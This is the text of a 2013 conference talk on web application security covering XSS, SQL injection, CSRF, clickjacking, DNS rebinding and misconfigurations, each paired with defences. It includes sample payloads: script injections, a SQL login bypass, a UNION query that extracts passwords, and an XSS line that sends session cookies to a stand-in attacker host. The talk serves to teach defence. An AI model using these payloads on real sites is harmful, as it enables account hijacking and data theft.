

AARHUS

INTERNATIONAL
SOFTWARE DEVELOPMENT


CONFERENCE 2013





goto; conference

Conference: Sept 30, Oct 1-2 // Training: Oct 3-4, 2013

www.gotocon.com

Tracks at GOTO Aarhus 2013

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|---|---|---|---|
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|  Backend | Distributed Systems Renaissance | Latest Advances in VMs | Data in Reality The Right Language for the Job |
|  Frontend | Experience Design The Future of IOS | JS as a Platform Making Sense of Data | Good JavaScript HTML5 Front-End du jour |
|  Process | Agile in Actuality: Stories from the Front Line | Lean IT Enterprise Open Data / eGov | Career |

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www.gotocon.com/aarhus-2012

SIKKERHED I WEBAPPLIKATIONER

Anders Skovsgaard
Hackavoid

anders@hackavoid.dk



About Me

- Founded first company in 1996.
 - Helped: banks, media- and gambling companies, payment industry, CMS vendors...
 - Google, Twitter, Typo3
- Developing security scanner Hackavoid since 2008.
- MSc in Computer Science 2009.
- PhD student at Aarhus University since 2011.


Outline

- Cross-Site Scripting
- SQL Injection
- Cross-Site Request Forgery
- Clickjacking
- DNS Rebinding
- Misconfigurations
- What to do now?

Cross-Site Scripting

What is Cross-Site Scripting

- Also known as “XSS” or “CSS”.
- Widespread in web applications.
 - Test of 1.133 Danish web shops.
 - ~50% vulnerable to XSS.
 - Performed Feb 2011.



What is Cross-Site Scripting

- Can occur when:
 - A Web Application accept user inputs.
 - Dynamic content is created from the input.
 - Insufficiently validation or encoding of input.



First Name


Last Name

E-mail

Service

Message

Thank you Name!



What is Cross-Site Scripting

- An attack involves:



A web server.

- ◆ Containing the web application (shop, community, CRM)



A client.

- ◆ A user accessing the web server.



An attacker.

- ◆ Internet user.

- *Attacker* can inject script into a trusted *web application*.
- Scripts are executed by the *client*.

What is Cross-Site Scripting

- Three types of XSS:

- Reflective or Non-persistent

- ◆ HTTP Request is used server-side to generate the response.

 `www.trustedsite.com/?id=2&title=News"><script>alert('XSS')</script>`

- Persistent or Stored

- ◆ Values are saved server-side and permanently displayed to users.




- DOM-based

- ◆ Client side scripts handles input values without proper escaping.

 `www.trustedsite.com/?id=2#lang=<script>alert('XSS')</script>`

What is Cross-Site Scripting

- Is XSS a new threat?



The screenshot shows the CERT Software Engineering Institute website. The header includes the CERT logo, the text "Software Engineering Institute Carnegie Mellon", a search bar, and a "GO" button. Below the header is a navigation bar with links: HOME | Software Assurance | Secure Systems | Organizational Security | Coordinated Response | Training. On the left is a "related links" sidebar with links to Publications Catalog, Historical Documents, Authorized Users of "CERT", US-CERT, Vulnerability Notes, and Database. The main content area features the title "CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests". Below the title is a paragraph: "This advisory is being published jointly by the CERT Coordination Center, DoD-CERT, the DoD Joint Task Force for Computer Network Defense (JTF-CND), the Federal Computer Incident Response Capability (FedCIRC), and the National Infrastructure Protection Center (NIPC)." Below this paragraph are the dates: "Original release date: February 2, 2000" and "Last revised: February 3, 2000".

- Original release date: **February 2, 2000**
- *“A web site may inadvertently include **malicious HTML tags or script** in a **dynamically generated page** based on **unvalidated input** from untrustworthy sources. This can be a problem when a web server does not adequately ensure that generated pages are **properly encoded** to prevent unintended execution of scripts, and when input is **not validated** to prevent malicious HTML from being presented to the user.”*

Cross-Site Scripting Attacks

- Should a web application with everything public (no login or CMS) be worried?
- Real-world example:

- News article about XSS on <https://www.danskebank.dk>
December, 2010



- CTO at Danske Bank replies:
 - ◆ “It’s important to underline that our **costumers safely can use our web site** as usual. [...] Both parts (XSS) are **not dangerous**. It’s something where you can mix web pages and for example put in a picture and make a joke with us, or something.”

Cross-Site Scripting Attacks

- Examples:

Fake login

Link to malware

Credit card

Cross-Site Scripting Attacks

- Add users and XSS becomes more dangerous.






- “Samy” used XSS to add friends automatically.
 - 1 million friends in 24 hours.
- MySpace shut down the site.
 - Spreading at a rate of 1,000 users/second.

Cross-Site Scripting Attacks

- Some companies knows the risks.



 Company   62

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[Who we are](#)
[Our culture](#)

Security Hall of Fame

The following people have qualified for a Google Security Reward. On behalf of our hundreds of millions of users, we thank the named individuals for helping make Google products safer.

- George Deglin - <http://gdeglin.blogspot.com>
- Anders Skovsgaard - [Hackavoid](#)
- Keita Haga - <http://keitahaga.com>
- Adrian Jansen - [\(K&D\)](#)

Current Quarter

| Name | Link |
|---------------------------------|-------------------------------|
| Ajay Singh Negi & Prashant Negi | iVIZ Security |
| Anders Skovsgaard | Hackavoid.com |
| Yaroslav Olejnik - O.J.A. | |

Cross-Site Scripting Attacks

- Example:

DK-Hostmaster

Cross-Site Scripting Attacks

- DOM-based Attack

- Today much work is done client-side.
 - ◆ jQuery, V8, Dart
- Parameter values may not be sent to the server.
 - ◆ No logging.
 - ◆ WAF's of no use.

- Example

```
/clientlanguage.aspx#lang=a onerror=alert('XSS') tag=
```

```
<img src=a onerror=alert('XSS') tag=.png>
```

```
<script>
document.write('<img src=' + decodeURIComponent(document.location
    .href.substring(document.location.href.indexOf("lang=")
    + 5)) + '.png>');
</script>
```


Cross-Site Scripting Attacks

- The browsers are getting better.
 - Safari, Chrome, Internet Explorer.
- But they can not filter everything.
 - E.g., `http://www.../error?message=<h1>Critical error...`
- Inside a `<script>` tag the war is lost.
 - Example

Preventing Cross-Site Scripting

- What is an input?

Request URL: `http://gotocon.com/cph-2012/`

Request Method: GET

Status Code:  200 OK

▼ Request Headers [view source](#)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Accept-Encoding: gzip,deflate,sdch

Accept-Language: da-DK,da;q=0.8,en-US;q=0.6,en;q=0.4

Cache-Control: max-age=0

Connection: keep-alive

Cookie: JSESSIONID=TRIFORK84267487841

Host: gotocon.com

Referer: `http://gotocon.com/`

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko)

- Do not trust any input.

Preventing Cross-Site Scripting

- Do not trust client-side validation.
- Input Validation
 - Check if input is as expected.
 - Do not make black lists – white lists are better.
 - E.g., an age field should only consists of Integers.
- HTML Encode Input
 - Not only HTML tags.
 - ◆ Used in ASP.NET Request Validation.
 - ◆ JavaScript events may be used.
- Mark Cookies “httpOnly”.

Cross-Site Scripting ■

- Questions?

SQL Injection

What is SQL Injection?

- Short about SQL:
 - **S**tructured **Q**uery **L**anguage.
 - Allow us to access a database.
 - With SQL we can:
 - ◆ retrieve, insert, delete and update tuples in a database
- Used by many DBMS':
 - MS SQL Server, Oracle, MySQL, PostgreSQL and more.
- Many web application access the database using SQL.
 - ASP Classic/ASP.NET, PHP, Perl, JSP...
 - E.g., to maintain user and web page data.

What is SQL Injection?

- The flaw is in the web application, not in the DBMS.



- Involves only two players: the web-server and the attacker.

- Example login query:

```
SELECT * FROM Users
WHERE username= 'admin'
AND password='god'
```

- Example code using HTTP input:

```
■ var sql = "SELECT * FROM Users
  WHERE username=" + Request.QueryString('username') + "
  AND password=" + Request.QueryString('password') + "
  [...] conn.Execute(sql)
```

SQL Injection Attacks

- Attacking a login form.
 - `var sql = "SELECT * FROM Users
WHERE username=''" + Request.QueryString('username') + "'
AND password=''" + Request.QueryString('password') + "'"`



Google Analytics

Startside for konto

Vis besøg

Username: ' or 'x'='x'

Password:

Log in

- `var sql = "SELECT * FROM Users
WHERE username=' ' or 'x'='x'
AND password=' ' or 'x'='x'"`

SQL Injection Attacks

- Example:

Extracting sensitive information from tables.

SQL Injection Attacks

- Blind SQL Injection
 - No output or error messages.
- Real-world example of sceptical customer.

Preventing SQL Injection

- Often recommendations of escaping strings.
 - Escaping ' with \'
 - In PHP with MySQL: *mysql_real_escape_string()*

- What if you write:

```
SELECT * FROM News
```

```
WHERE
```

```
Id="+REPLACE(Request.QueryString('username'),"'", "'\\'")
```

An attacker could do:

```
SELECT * FROM News
```

```
WHERE Id=-1 UNION SELECT username, password FROM Users
```

Preventing SQL Injection

- Instead, use Prepared Statements (Parameterized Queries)
- First define all SQL code, then later pass each parameter.

```
var sql= "SELECT * FROM News WHERE Id = ?";  
[...] command.Parameters.Add(new OleDbParameter("Id",  
    PARAMETER_VALUE));
```

- No attacker can change the intent of the query.
 - Supported in all major programming languages.

SQL Injection ■

- Questions?

Cross-Site Request Forgery

What is Cross-Site Request Forgery?

- Also known as XSRF, CRSF or Session Riding.

- Involves three players:



A web server.

- ◆ Not protected against XSRF.



A client.

- ◆ Who creates the actual request.




An attacker.

- ◆ Who makes the client do the request.

- The attacker has to know.
 - What requests is accepted.
 - The user must be authenticated.


What is Cross-Site Request Forgery?

- A normal request occurs when, e.g. a user press a “buy”-button.




What is Cross-Site Request Forgery?

- The “buy”-request may be forced by an attacker.




Cross-Site Request Forgery Attacks

- Can also be used to access local web applications.



The image shows the ZyXEL web management interface for NAT configuration. The left sidebar contains a 'Main Menu' with options like Password, LAN, WAN, NAT, Voice, Dynamic DNS, Time and Date, Remote Management, UPnP, and Logs. The main content area is titled 'NAT • Edit SUA/NAT Server Set'. It features a table with 12 rows for configuring NAT server sets. Each row has columns for 'Start Port No.', 'End Port No.', and 'IP Address'. Row 1 is pre-filled with 'All ports', 'All ports', and '0.0.0.0'. Row 2 is pre-filled with '21', '21', and '192.168.1.33'. Rows 3 through 12 are empty, each with input fields for the three columns. At the bottom of the table are 'Save' and 'Cancel' buttons.

| | Start Port No. | End Port No. | IP Address |
|----|----------------|--------------|--------------|
| 1 | All ports | All ports | 0.0.0.0 |
| 2 | 21 | 21 | 192.168.1.33 |
| 3 | | | 0.0.0.0 |
| 4 | | | 0.0.0.0 |
| 5 | | | 0.0.0.0 |
| 6 | | | 0.0.0.0 |
| 7 | | | 0.0.0.0 |
| 8 | | | 0.0.0.0 |
| 9 | | | 0.0.0.0 |
| 10 | | | 0.0.0.0 |
| 11 | | | 0.0.0.0 |
| 12 | | | 0.0.0.0 |



The image shows the TetherNet WiFi Setup interface in a Mozilla Firebird browser window. The page title is 'TetherNet WiFi Setup'. The main heading is 'WiFi wireless access point configuration:'. There are four main configuration sections: 'Radio' (checked 'enabled'), 'Channel' (set to '1 (2412 Mhz)'), 'Access Point Density' (set to 'low'), and 'Service Set ID' (set to 'ABCDE'). Below these is a 'WEP Encryption' section with a checked 'Key' field containing 'elvis', and buttons for 'Make 40-bit Key' and 'Make 108-bit Key'. To the right of these sections is explanatory text. At the bottom is a 'Configure WiFi' button. The footer shows 'TetherNet 2.0 © 2001-2003 X-Bone DynaBone at USC ISI' and links for 'Contact' and 'Main Page'.

WiFi wireless access point configuration:

Radio ☒ enabled

Channel 1 (2412 Mhz)

Access Point Density low

Service Set ID ABCDE

WEP Encryption ☒ Key: elvis

Make 40-bit Key Make 108-bit Key

Configure WiFi

- Example

Preventing Cross-Site Request Forgery

- The simple solution: Make a check on the REFERER.
 - You will loose visitors with no REFERER.
 - Spoofing examples for old versions of Flash, Firefox and IE exists.
- The best solution: Require a secret, user-specific token.

- All sensitive requests.

- An attacker cannot guess the token and not

```
<form action...>
```

```
<input name="product" type="hidden">
```

```
<input name="xsrftoken" type="hidden" value="df8652852f139"/>
```

```
</form>
```

**But this can be
extracted with
XSS!**

Cross-Site Request Forgery ■

- Questions?

Clickjacking

What is Clickjacking?

- Also known as “UI redressing” or “Likejacking”.

- An attack involves:



A web server.




A user.



An attacker controlling a web site.



What is Clickjacking?



Clickjacking Attacks

- Example
 - Protect your mailbox.

Preventing Clickjacking

- Popular Frame Breaking Scripts:

```
if(top.location!=self.location) {  
    parent.location = self.location;  
}
```

- Limitations:

- Double Framing (top.location is a security violation)
- Exploit XSS Filter (<iframe
src="http://www.victim.com/?v=<script>if">)

Preventing Clickjacking

- “Best-for now” script for old browsers:

```
<head><style>body { display : none;}</style> </head>
<body>
<script> if (self == top) {
var theBody = document.getElementsByTagName('body')[0];
theBody.style.display = "block";
} else {
top.location = self.location; }
</script></body>
```

- Support in new browsers:
 - HTTP Response Header “*X-FRAME-OPTIONS*”.
 - Either *DENY* or (*SAMEORIGIN*).
 - Supported by recent versions of most browsers.

Clickjacking ■

- Questions?

DNS Rebinding

What is DNS Rebinding?

- If *trifork-intra.com* has no XSS or SQLi, how to extract (IP-filtered) user specific data?
- Make IFRAME with *trifork-intra.com* on *attacker.com* and execute:

```
document.getElementById('triforkframe').contentWindow  
  .document.body.innerHTML
```

?

Or XMLHttpRequest?
- Not possible because of the *Same-Origin Policy* in the browser.

What is DNS Rebinding?



- Involves a web server, a user and an attacker.
- A domain name resolves to an IP-address.
 - E.g., *trifork-intra.com* resolves to *77.66.16.105*.
- Requirements:
 - The web server must accept other host names.
 - ◆ E.g., if *attacker.com* resolves to *77.66.16.105* the Trifork Intranet web page is shown at *attacker.com*.
 - The user must have access to *trifork-intra.com* (e.g., IP-filter, or LAN application).
 - The user must visit *attacker.com*.

What is DNS Rebinding?

- The attacker controls the name server (NS) of attacker.com.
- First, make record in the NS:
attacker.com. A 87.238.13.37 (TTL: 1 second)
- When a *Trifork Intranet user* enters the site, make the change:
attacker.com. A 77.66.16.105
- Wait for the browser's DNS cache to expire.
(*Entertain the user, create a pop-under*)
- Create an IFRAME with *src=//attacker.com*.
 - Now the IFRAME will contain content from 77.66.16.105.
 - The outer frame can extract content from the inner frame (user data if IP-filtered, LAN apps and Session fixation).

Preventing DNS Rebinding

- Web application developers:
 - Make a white-list of host headers.
 - Reject all request with unknown host headers.
- Paranoid Internet users:
 - NoScript provides protecting.
 - Adjust your DNS Cache.

DNS Rebinding ■

- Questions?

Misconfigurations

Misconfigurations

- ASP.NET Trace Information

<http://www.domain.com/Trace.axd>

Accept image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Request Details

Request Details

| | | | |
|-------------------|-------------------------|--------------------|-----------------|
| Session Id: | sbrysnrex3ok211c3yrr02h | Request Type: | POST |
| Time of Request: | 12/10/2011 4:58:28 PM | Status Code: | 302 |
| Request Encoding: | Unicode (UTF-8) | Response Encoding: | Unicode (UTF-8) |


Trace Information

| Category | Message | From First(s) | From Last(s) |
|-----------|----------------------------------|----------------------|--------------|
| aspx.page | Begin PreInit | | |
| aspx.page | End PreInit | 0.000232113944936614 | 0.000232 |
| aspx.page | Begin Init | 0.000263878800550907 | 0.000032 |
| aspx.page | End Init | 0.000356538379371003 | 0.000093 |
| aspx.page | Begin InitComplete | 0.000377738283007805 | 0.000021 |
| aspx.page | End InitComplete | 0.000396473197849101 | 0.000019 |
| aspx.page | Begin LoadState | 0.000409878136917559 | 0.000013 |
| aspx.page | End LoadState | 0.000938465734246662 | 0.000529 |
| aspx.page | Begin ProcessPostData | 0.00100324543979346 | 0.000065 |
| aspx.page | End ProcessPostData | 0.0018416216289926 | 0.000838 |
| aspx.page | Begin PreLoad | 0.00189972636488016 | 0.000058 |
| aspx.page | End PreLoad | 0.00192501624992614 | 0.000025 |
| aspx.page | Begin Load | 0.00193954618388098 | 0.000015 |
| aspx.page | End Load | 0.00199779091913219 | 0.000058 |
| aspx.page | Begin ProcessPostData Second Try | 0.00201457584283708 | 0.000017 |
| aspx.page | End ProcessPostData Second Try | 0.0020312457670647 | 0.000017 |
| aspx.page | Begin Raise ChangedEvents | 0.00204484570524679 | 0.000014 |

APPL_MD_PATH /LM/w3svc/1/ROOT/Top10WebConfigVulns
APPL_PHYSICAL_PATH c:\inetpub\wwwroot\Top10WebConfigVulns\
AUTH_TYPE
AUTH_USER

Misconfigurations

- Use SSL
 - Avoid sniffing.



- And HTTP Strict Transport Security (HSTS).
 - HTTP Response Header field “Strict-Transport-Security”.

Misconfigurations

- Session Hijacking

- **1. XSS**

```
http://www.vulnerablesite.com/s?q=  
<script>document.write(  
  '<img  
  src=http://attacksite.com/store?cookie='+document.cookie  
  +'>');</script>
```

- **2. Exploiting bad login implementation**

- ◆ (example)

Misconfigurations

- Avoid MIME-sniffing.

HTTP/1.1 200 OK

Content-Length: 108

Date: Thu, 26 Jun 2008 22:06:28 GMT



Content-Type: text/plain;

X-Content-Type-Options: nosniff

<html><body bgcolor="#AA0000">

This page renders as HTML source code (text) in IE8.

</body></html>



Misconfigurations

- Redirects
 - **Avoid unvalidated redirects**
 - ◆ `https://www.example.com/redir?p=http://www.attacksite.com`
 - ◆ `https://www.example.com/redir?p=javascript:alert(document.cookie)...`
 - **Redirect properly**
 - ◆

```
<?php
    if(!isset($_SESSION["loggedIn"])) {
        header("Location: /login.php"); } ?>
<h1>Administration Module</h1>
User Credentials: ...
```
 - Body is still readable.

Misconfigurations

- Keep your CMS up-to-date.



sitecore®

What to do now?

- Manually check your web application.
 - Test all pages and parameters.
- (Install a Web Application Firewall (WAF))
- Use automated tools.
 - Hackavoid
 - Acunetix
 - Sucuri (only malware)
 - WebSecurify
 - Nessus
 - W3af
 - Qualys

Vulnerability Scanners

- Web Site Coverage
 - If you can not find the pages – you have lost.
 - Examples at www.secavoid.com.

| Product | Simple HTML | Basic JavaScript | Advanced JavaScript (DOM/jQuery) |
|-----------------------|-------------|------------------|----------------------------------|
| Hackavoid | Yes | Yes | Yes |
| Acunetix | Yes | Yes | No |
| Sucuri (only malware) | Yes | No | No |
| WebSecurify | Yes | No | No |
| Nessus | Yes | No | No |
| W3af | Yes | No | No |
| Qualys | Yes | Yes | No |

Vulnerability Scanners

- Thorough Generics Tests
 - **What you scan** for and how well you do it is important.

| Product | OWASP Top 10 |
|-----------------------|--------------|
| Hackavoid | Yes |
| Acunetix | Yes |
| Sucuri (only malware) | No |
| WebSecurify | Yes |
| Nessus | Yes |
| W3af | Yes |
| Qualys | Yes |

Vulnerability Scanners

- Thorough Generics Tests
 - What you scan for and **how well you do it** is important.

| Product | IMG Embedded | Auto Detection | Embedded in JS |
|-----------------------|--------------|----------------|----------------|
| Hackavoid | Yes | Yes | Yes |
| Acunetix | Yes | Yes | Yes |
| Sucuri (only malware) | No | No | No |
| WebSecurify | Yes | No | No |
| Nessus | No | No | No |
| W3af | No | No | No |
| Qualys | Yes | No | No |

Vulnerability Scanners

- The type of scanner you need.

| Product | SaaS | Free scan |
|-----------------------|------|-----------|
| Hackavoid | Yes | Yes |
| Acunetix | No | No |
| Sucuri (only malware) | Yes | Yes |
| WebSecurify | No | Yes |
| Nessus | No | Yes |
| W3af | No | Yes |
| Qualys | Yes | Yes |

What to do now?

- More material at www.owasp.org.
 - The Open Web Application Security Project.
- Think security when you develop.
- Test your web application manually
 - Act like a novice user and the pesky hacker.
- Run automated scans.

Questions?

Anders Skovsgaard

anders@hackavoid.dk

www.hackavoid.dk